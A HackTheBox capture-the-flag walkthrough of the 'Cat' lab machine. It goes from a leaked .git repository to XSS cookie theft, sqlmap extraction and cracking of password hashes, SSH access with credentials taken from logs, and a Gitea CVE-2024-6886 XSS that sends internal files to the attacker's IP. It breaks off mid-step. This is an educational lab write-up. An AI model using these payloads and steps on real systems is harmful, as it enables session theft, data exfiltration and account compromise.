Cat – HackTheBox Link to heading

  • OS: Linux
  • Difficulty : Medium
  • Platform: HackTheBox

Avatar cat


Summary Link to heading

“Cat” is a Medium difficulty machine from HackTheBox platform. The victim machine is running a web server that leaks files running it in a hidden repository. This tell us the path to solve the machine: create an account whose name is a Cross-Site Scripting (XSS) payload, that is reviewed by an admin and allow us to steal its cookie. Once we get an admin cookie we can access to a panel that is vulnerable to SQL Injection, allowing us to extract a password and gain access through SSH to the system. Once inside, we can see the victim machine is running an internal Gitea service. This version is vulnerable to another XSS labeled as CVE-2024-6886. This allow us to create a malicious repository. The system was running a task that was visiting the repositories automatically, which allow us to leverage this task using XSS vulnerability and get the source code of a script running in the victim machine. This script contains the credentials for root user, allowing us to take total control of the system.


User Link to heading

Starting with a quick Nmap scan over the target machine shows only 2 ports open: 22 SSH and 80 HTTP.

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn 10.10.11.53

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 00:52 -03
Nmap scan report for 10.10.11.53
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 16.49 seconds

Applying some recognition scans with -sVC flag over these ports we get:

❯ sudo nmap -sVC -p22,80 10.10.11.53

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 00:55 -03
Nmap scan report for 10.10.11.53
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.38 seconds

From the output we can see a domain: cat.htb. We add these domain along with the target IP address to our /etc/hosts file running in a terminal:

❯ echo '10.10.11.53 cat.htb' | sudo tee -a /etc/hosts

We can check the site technologies using WhatWeb:

❯ whatweb -a 3 http://cat.htb

http://cat.htb [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.53], Title[Best Cat Competition]

We can see it is running Apache.

We visit http://cat.htb in a web browser. We can see a page about cats contest:

Cat 1

The page shows some pages using PHP. Among them, if we click on Join we can create a user at /join.php site:

Cat 2

We create an account, click on Already have an account? and pass the credentials. We can now visit Contest tab which redirects to /contest.php page:

Cat 3

We can upload info about cats. But nothing besides that.

We can then search for directories through a Brute Force Directory Listing with Gobuster using raft-small-words.txt dictionary from SecLists:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://cat.htb -x php -t 40 --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cat.htb
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 272]
/admin.php            (Status: 302) [Size: 1] [--> /join.php]
<SNIP>
/winners.php          (Status: 200) [Size: 5082]
/winners              (Status: 301) [Size: 304] [--> http://cat.htb/winners/]
/.htpasswd.php        (Status: 403) [Size: 272]
/.htpasswd            (Status: 403) [Size: 272]
/.git                 (Status: 301) [Size: 301] [--> http://cat.htb/.git/]
/.html.               (Status: 403) [Size: 272]
<SNIP>
Progress: 86014 / 86016 (100.00%)
===============================================================
Finished
===============================================================

Among all the files we can see a .git directory which seems to be a Git repository.

We can then use the tool git-dumper (that can be installed running pip3 install git-dumper) to extract its content and save all the files in a directory called git_content in the current directory:

❯ git-dumper http://cat.htb/.git/ ./git_content

Once we have dumped the Git files, we check the extracted content:

❯ ls -la git_content

total 84
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Feb  7 01:21 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Feb  7 01:23 ..
-rwxrwxr-x 1 gunzf0x gunzf0x  893 Feb  7 01:21 accept_cat.php
-rwxrwxr-x 1 gunzf0x gunzf0x 4496 Feb  7 01:21 admin.php
-rwxrwxr-x 1 gunzf0x gunzf0x  277 Feb  7 01:21 config.php
-rwxrwxr-x 1 gunzf0x gunzf0x 6676 Feb  7 01:21 contest.php
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb  7 01:21 css
-rwxrwxr-x 1 gunzf0x gunzf0x 1136 Feb  7 01:21 delete_cat.php
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Feb  7 01:21 .git
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb  7 01:21 img
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb  7 01:21 img_winners
-rwxrwxr-x 1 gunzf0x gunzf0x 3509 Feb  7 01:21 index.php
-rwxrwxr-x 1 gunzf0x gunzf0x 5891 Feb  7 01:21 join.php
-rwxrwxr-x 1 gunzf0x gunzf0x   79 Feb  7 01:21 logout.php
-rwxrwxr-x 1 gunzf0x gunzf0x 2725 Feb  7 01:21 view_cat.php
-rwxrwxr-x 1 gunzf0x gunzf0x 1676 Feb  7 01:21 vote.php
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb  7 01:21 winners
-rwxrwxr-x 1 gunzf0x gunzf0x 3374 Feb  7 01:21 winners.php

They seems to be the files running in the main webpage.

Previously, when we bruteforced the directories with Gobuster, we did not have access to config.php and admin.php. These files seems interesting. Checking config.php shows:

<?php
// Database configuration
$db_file = '/databases/cat.db';

// Connect to the database
try {
    $pdo = new PDO("sqlite:$db_file");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Error: " . $e->getMessage());
}
?>

It is loading a SQLite database file located at /database/cat.db. But this database file is not present in the dumped directory. So this info could be useful later.

Checking admin.php shows an interesting portion of code:

<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}

// Fetch cat data from the database
$stmt = $pdo->prepare("SELECT * FROM cats");
$stmt->execute();
$cats = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

<SNIP>

The first snippet of code basically check if the user is not logged or if the user is not axel it redirects to /join.php page.

Finally, if we check contest.php (another site that when we visited it, it redirected to /join.php) shows:

<?php
session_start();

include 'config.php';

// Message variables
$success_message = "";
$error_message = "";

// Check if the user is logged in
if (!isset($_SESSION['username'])) {
    header("Location: /join.php");
    exit();
}

// Function to check for forbidden content
function contains_forbidden_content($input, $pattern) {
    return preg_match($pattern, $input);
}

// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Capture form data
    $cat_name = $_POST['cat_name'];
    $age = $_POST['age'];
    $birthdate = $_POST['birthdate'];
    $weight = $_POST['weight'];

    $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

    // Check for forbidden content
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
        contains_forbidden_content($age, $forbidden_patterns) ||
        contains_forbidden_content($birthdate, $forbidden_patterns) ||
        contains_forbidden_content($weight, $forbidden_patterns)) {
        $error_message = "Your entry contains invalid characters.";
    } else {
        // Generate unique identifier for the image
        $imageIdentifier = uniqid() . "_";

        // Upload cat photo
        $target_dir = "uploads/";
        $target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);
        $uploadOk = 1;
        $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

        // Check if the file is an actual image or a fake file
        $check = getimagesize($_FILES["cat_photo"]["tmp_name"]);
        if($check !== false) {
            $uploadOk = 1;
        } else {
            $error_message = "Error: The file is not an image.";
            $uploadOk = 0;
        }
        // Check if the file already exists
        if (file_exists($target_file)) {
            $error_message = "Error: The file already exists.";
            $uploadOk = 0;
        }

        // Check file size
        if ($_FILES["cat_photo"]["size"] > 500000) {
            $error_message = "Error: The file is too large.";
            $uploadOk = 0;
        }

        // Allow only certain file formats
        if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
            $error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";
            $uploadOk = 0;
        }

        // Check if $uploadOk is set to 0 by an error
        if ($uploadOk == 0) {
        } else {
            if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
                // Prepare SQL query to insert cat data
                $stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
                // Bind parameters
                $stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
                $stmt->bindParam(':age', $age, PDO::PARAM_INT);
                $stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
                $stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
                $stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
                $stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
                // Execute query
                if ($stmt->execute()) {
                    $success_message = "Cat has been successfully sent for inspection.";
                } else {
                    $error_message = "Error: There was a problem registering the cat.";
                }
            } else {
                $error_message = "Error: There was a problem uploading the file.";
            }
        }
    }
}
?>

<SNIP>

If the user is logged in the site, it is able to data (I assume related to a cat description) passing different parameters to it. The script also checks for potential characters that be used for SQL Injection. If it is not detected then it uploads the data to the server. Then, the script also checks if it is a valid image, checks its size and uploads the data to the database.

One of the files is accept_cat.php. Checking its content shows:

<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);

            $stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
            $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
            $stmt_delete->execute();

            echo "The cat has been accepted and added successfully.";
        } else {
            echo "Error: Cat ID or Cat Name not provided.";
        }
    } else {
        header("Location: /");
        exit();
    }
} else {
    echo "Access denied.";
}
?>

where a potential dangerous line/query is:

INSERT INTO accepted_cats (name) VALUES ('$cat_name')

However, if we attempt to upload a SQL Injection (SQLi) as a user through /contest.php it will not work due to filters at contest.php file.

We also have the file accept_cat.php being executed, which we can we find is being invoked at admin.php file:

<SNIP>
    function acceptCat(catName, catId) {
       if (confirm("Are you sure you want to accept this cat?")) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "accept_cat.php", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    window.location.reload();
                }
            };
            xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
        }
    }

    function rejectCat(catId) {
        if (confirm("Are you sure you want to reject this cat?")) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "delete_cat.php", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    window.location.reload();
                }
            };
            xhr.send("catId=" + catId);
        }
    }
<SNIP>

Someone is checking the cat data uploaded and checking it to accept it or reject it. The only problem is that we have a function filtering potential characters for SQL Injection|SQLi. A parameter that is not being checked is the user as we can see at join.php file:

<?php
session_start();

include 'config.php';

$success_message = "";
$error_message = "";

// Registration process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
    $username = $_GET['username'];
    $email = $_GET['email'];
    $password = md5($_GET['password']);

    $stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
    $stmt_check->execute([':username' => $username, ':email' => $email]);
    $existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);

    if ($existing_user) {
        $error_message = "Error: Username or email already exists.";
    } else {
        $stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
        $stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);

        if ($stmt_insert) {
            $success_message = "Registration successful!";
        } else {
            $error_message = "Error: Unable to register user.";
        }
    }
}
<SNIP>

The plan then is the following:

  1. Log in with an account whose name is a Cross Site Scripting (XSS) payload.
  2. Go to /contest.php page and upload data.
  3. This data should be reviewed by admin user, triggering the XSS.
  4. Use this session cookie to access /admin.php.

When we create an account, where we set as username the XSS payload:

<script>document.location='http://10.10.16.3/?c='+document.cookie;</script>

where 10.10.16.3 is our attacker IP address.

Cat 5

Since we will attempt some XSS payloads, we can start a temporal Python HTTP server on port 80 running in a terminal:

❯ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Once we create the account, we click on Already have an account? button at the bottom of the page. Clicking on it we can put our credentials there. We can now access /contest.php.

We fill this form with any data and a random image. Some seconds after sending the data with the malicious account, we get a request in our Python HTTP temporal server:

❯ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [07/Feb/2025 02:55:46] "GET /?c=PHPSESSID=8ur7ibfluajaj1prlj3idigvnk HTTP/1.1" 200 -
10.10.11.53 - - [07/Feb/2025 02:55:47] code 404, message File not found
10.10.11.53 - - [07/Feb/2025 02:55:47] "GET /favicon.ico HTTP/1.1" 404 -

Go to our web browser (in my case Firefox), replace the cookie for the obtained one and refresh the page. We can see now:

Cat 6

We have an Admin tab that redirects to /admin.php.

However, this page is empty:

Cat 7

I assume this is the site where cats are accepted/rejected. But we are not able to see it in this page since we don’t have current requests for the cat’s contest.

We can now remember that this page had a cat_name that was potentially vulnerable to SQLi as we inspected before. We can then use SQLMap attempting to get something. We can specify the database that we already know is SQLite and this should save us a lot of time. We then run:

❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch

<SNIP>
[03:11:17] [INFO] POST parameter 'catName' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[03:11:17] [INFO] testing 'Generic inline queries'
[03:11:17] [INFO] testing 'SQLite inline queries'
[03:11:18] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[03:11:18] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[03:11:18] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[03:11:28] [INFO] POST parameter 'catName' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
<SNIP>
---
[03:11:55] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.10 or 19.10 or 20.04 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: SQLite

Then, search for tables using --tables flag:

❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch --tables --threads 10

<SNIP>
[03:14:04] [INFO] retrieved: 5
[03:14:14] [INFO] retrieved: users
<current>
[4 tables]
+-----------------+
| accepted_cats   |
| cats            |
| sqlite_sequence |
| users           |
+-----------------+

users table seems interesting.

We can extract its content using finally -T users --dump flags:

❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch -T users --dump --threads 10

<SNIP>
[03:16:13] [INFO] retrieved: axel2017@gmail.com
[03:16:13] [INFO] retrieving the length of query output
[03:16:13] [INFO] retrieved: 32
[03:16:36] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f
[03:16:36] [INFO] retrieving the length of query output
[03:16:36] [INFO] retrieved: 1
[03:16:39] [INFO] retrieved: 1
[03:16:45] [INFO] retrieving the length of query output
[03:16:45] [INFO] retrieved: 4
[03:16:54] [INFO] retrieved: axel
[03:16:54] [INFO] retrieving the length of query output
[03:16:54] [INFO] retrieved: 24
[03:17:13] [INFO] retrieved: rosamendoza485@gmail.com
[03:17:13] [INFO] retrieving the length of query output
[03:17:13] [INFO] retrieved: 32
[03:17:35] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c
[03:17:35] [INFO] retrieving the length of query output
[03:17:35] [INFO] retrieved: 1
[03:17:38] [INFO] retrieved: 2
[03:17:44] [INFO] retrieving the length of query output
[03:17:44] [INFO] retrieved: 4
[03:17:53] [INFO] retrieved: rosa
[03:17:53] [INFO] retrieving the length of query output
[03:17:53] [INFO] retrieved: 29
[03:18:12] [INFO] retrieved: robertcervantes2000@gmail.com
[03:18:12] [INFO] retrieving the length of query output
[03:18:12] [INFO] retrieved: 32
[03:18:35] [INFO] retrieved: 42846631708f69c00ec0c0a8aa4a92ad
<SNIP>
Table: users
[11 entries]
+---------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+----------+
| user_id | email                                                                                                                                                                                                                           | password                         | username |
+---------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+----------+
| 1       | axel2017@gmail.com                                                                                                                                                                                                              | d1bbba3670feb9435c9841e46e60ee2f | axel     |
| 2       | rosamendoza485@gmail.com                                                                                                                                                                                                        | ac369922d560f17d6eeb8b2c7dec498c | rosa     |
| 3       | robertcervantes2000@gmail.com                                                                                                                                                                                                   | 42846631708f69c00ec0c0a8aa4a92ad | robert   |
| 4       | fabiancarachure2323@gmail.com                                                                                                                                                                                                   | 39e153e825c4a3d314a0dc7f7475ddbe | fabian   |
<SNIP>

We have some hashes and 3 users: axel, rosa, fabian and robert.

All these hashes have a length of 32 characters. Therefore, they are potentially MD5 hashes.

❯ echo -n '42846631708f69c00ec0c0a8aa4a92ad' | wc -c

32

We can then attempt to crack through a Brute Force Password Cracking using JohnTheRipper (john):

❯ john --wordlist=/usr/share/wordlists/rockyou.txt sqlite_db_hashes --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
soyunaprincesarosa (?)
1g 0:00:00:02 DONE (2025-02-07 03:26) 0.4672g/s 6702Kp/s 6702Kc/s 15089KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

and check if the found password correspond to any of these users using NetExec through SSH:

❯ nxc ssh 10.10.11.53 -u axel rosa robert fabian -p 'soyunaprincesarosa'

SSH         10.10.11.53     22     10.10.11.53      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.53     22     10.10.11.53      [-] axel:soyunaprincesarosa
SSH         10.10.11.53     22     10.10.11.53      [+] rosa:soyunaprincesarosa  Linux - Shell access!

We get credentials for SSH: rosa:soyunaprincesarosa.

Log into the victim machine with this user:

❯ sshpass -p 'soyunaprincesarosa' ssh -o stricthostkeychecking=no rosa@10.10.11.53

<SNIP>
rosa@cat:~$

Checking rosa groups, we note it is a member of adm group:

rosa@cat:~$ id

uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

This mean this user can read logs at /var/log directory.

From scan with WhatWeb we could see that this server was running Apache, we can then check logs for Apache at /var/logs/apache2. We search for the string pass (for password) in this directory with grep and we get:

rosa@cat:~$ grep -ir 'pass' /var/log/apache2 2>/dev/null

/var/log/apache2/access.log:127.0.0.1 - - [07/Feb/2025:00:00:07 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
/var/log/apache2/access.log:127.0.0.1 - - [07/Feb/2025:00:00:18 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
<SNIP>

We get a potential password: aNdZwgC4tI9gnVXv_e3Q.

We check again if this credentials are valid with NetExec through SSH for axel user:

❯ nxc ssh 10.10.11.53 -u axel -p 'aNdZwgC4tI9gnVXv_e3Q'

SSH         10.10.11.53     22     10.10.11.53      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.53     22     10.10.11.53      [+] axel:aNdZwgC4tI9gnVXv_e3Q  Linux - Shell access!

They are, we have valid credentials axel:aNdZwgC4tI9gnVXv_e3Q.

Log in as this new user through SSH:

❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no axel@10.10.11.53

<SNIP>
You have mail.
Last login: Thu Feb  6 22:01:05 2025 from 10.10.14.19

axel@cat:~$

We can grab the user flag.


Root Link to heading

When we logged in as axel we got a message: You have email. We can then check /var/mail/axel directory:

axel@cat:~$ cat /var/mail/axel

From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

The mail talks about a Gitea site at localhost:3000 (the default prot for Gitea).

We can check internal ports of the machine open:

axel@cat:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   10                                   127.0.0.1:587                                   0.0.0.0:*
LISTEN              0                   1                                    127.0.0.1:39855                                 0.0.0.0:*
LISTEN              0                   37                                   127.0.0.1:54547                                 0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:3000                                  0.0.0.0:*
LISTEN              0                   10                                   127.0.0.1:25                                    0.0.0.0:*
LISTEN              0                   128                                  127.0.0.1:55967                                 0.0.0.0:*
LISTEN              0                   511                                          *:80                                          *:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

Port 3000 is open.

We can additionally check if this is a Gitea site:

axel@cat:~$ curl -s http://127.0.0.1:3000 | grep -i gitea

<html lang="en-US" data-theme="gitea-auto">
        <meta name="author" content="Gitea - Git with a cup of tea">
        <meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
        <meta name="keywords" content="go,git,self-hosted,gitea">
                customEmojis: {"codeberg":":codeberg:","git":":git:","gitea":":gitea:","github":":github:","gitlab":":gitlab:","gogs":":gogs:"},
        <meta property="og:description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<link rel="stylesheet" href="/assets/css/theme-gitea-auto.css?v=1.22.0">
                        <a class="item" target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com">Help</a>
                                Simply <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-binary">run the binary</a> for your platform, ship it with <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea/tree/master/docker">Docker</a>, or get it <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-package">packaged</a>.
                                Gitea runs anywhere <a target="_blank" rel="noopener noreferrer" href="https://go.dev/">Go</a> can compile for: Windows, macOS, Linux, ARM, etc. Choose the one you love!
                                Gitea has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!
                                Go get <a target="_blank" rel="noopener noreferrer" href="https://code.gitea.io/gitea">code.gitea.io/gitea</a>! Join us by <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea">contributing</a> to make this project even better. Don't be shy to be a contributor!
                        <a target="_blank" rel="noopener noreferrer" href="https://about.gitea.com">Powered by Gitea</a>

Therefore, we can create a tunnel through a Local Port Forwarding to access to this internal site. Logout from the current SSH session and convert port 3000 of the victim machine in our port 3000 running:

❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no -L 3000:127.0.0.1:3000 axel@10.10.11.53

Once the tunnel has been established, in a web browser we can visit http://127.0.0.1:3000 and we can now see the Gitea site:

Cat 8

We can log in this site using axel credentials (axel:aNdZwgC4tI9gnVXv_e3Q). However, we are not able to see any available repositories:

Cat 9

Going to Explore and then on Users shows, as the email said, Administrator:

Cat 10

But we cannot see much more.

At the bottom left side we have a Gitea version: 1.22.0. Searching for vulnerabilities for this version leads to a vulnerability labeled as CVE-2024-6886 with an exploit at exploit-db. This is another XSS vulnerability, but this time for Gitea. The steps there are straightforward:

1. Log in to the application.
2. Create a new repository or modify an existing repository by clicking the Settings button from the `$username/$repo_name/settings` endpoint.
3. In the Description field, input the following payload:

    <a href=javascript:alert()>XSS test</a>

4. Save the changes.
5. Upon clicking the repository description, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.

So we can create a repository and modify its description. We create a random repository and modify its description:

Cat 11

Where we inject the XSS payload:

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.16.3:8000/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">App test</a>

What this payload does is that the user visits http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php and its content is sent to http://10.10.16.3:8000 (our attacker IP). We also need to create an empty file in the repository, so the description is displayed. For that just create an empty file clicking on New File:

Cat 12

Create a random file with random content and at the bottom just add a simple commit (like commit name test and description for commit test).

Cat 13

Cat 14

Note
There is a cronjob deleting the repository. So we might need to reproduce these steps again.

Now, we need a way to deploy the payload. When we checked internal ports open we saw that port 25 was open. This port is used for SMTP (mailing) service on Linux.

axel@cat:~$ ss -nltp | grep 25

LISTEN  0        10             127.0.0.1:25             0.0.0.0:*

We could send an e-mail transforming port 25 of our attacker machine into victim’s machine port 25. We can use, again, a Local Port Forwarding for it. Exit from the current session and now establish a double tunnel (convert port 3000 into our port 3000 and port 25 into our port 25) running:

❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no -L 25:127.0.0.1:25 -L 3000:127.0.0.1:3000 axel@10.10.11.53

Remember to start a Python HTTP server that will receive the XSS payload:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

In another terminal, in our attacker machine, we can send an email with swaks tool, attaching the malicious repository with the XSS payload. We send this mail to jrobert (the person that sent us the mail):

❯ swaks --to "jobert@localhost" --from "axel@localhost" --header "Subject: New Test App. Check it" --body "http://localhost:3000/axel/testApp" --server localhost --port 25 --timeout 30s

=== Trying localhost:25...
=== Connected to localhost.
<-  220 cat.htb ESMTP Sendmail 8.15.2/8.15.2/Debian-18; Fri, 7 Feb 2025 07:37:29 GMT; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
 -> EHLO kali.gunzf0x
<-  250-cat.htb Hello localhost [127.0.0.1], pleased to meet you
<SNIP>
 -> .
<-  250 2.0.0 5177bT4X059595 Message accepted for delivery
 -> QUIT
<-  221 2.0.0 cat.htb closing connection
=== Connection closed with remote host.

After some time, we get something in our terminal:

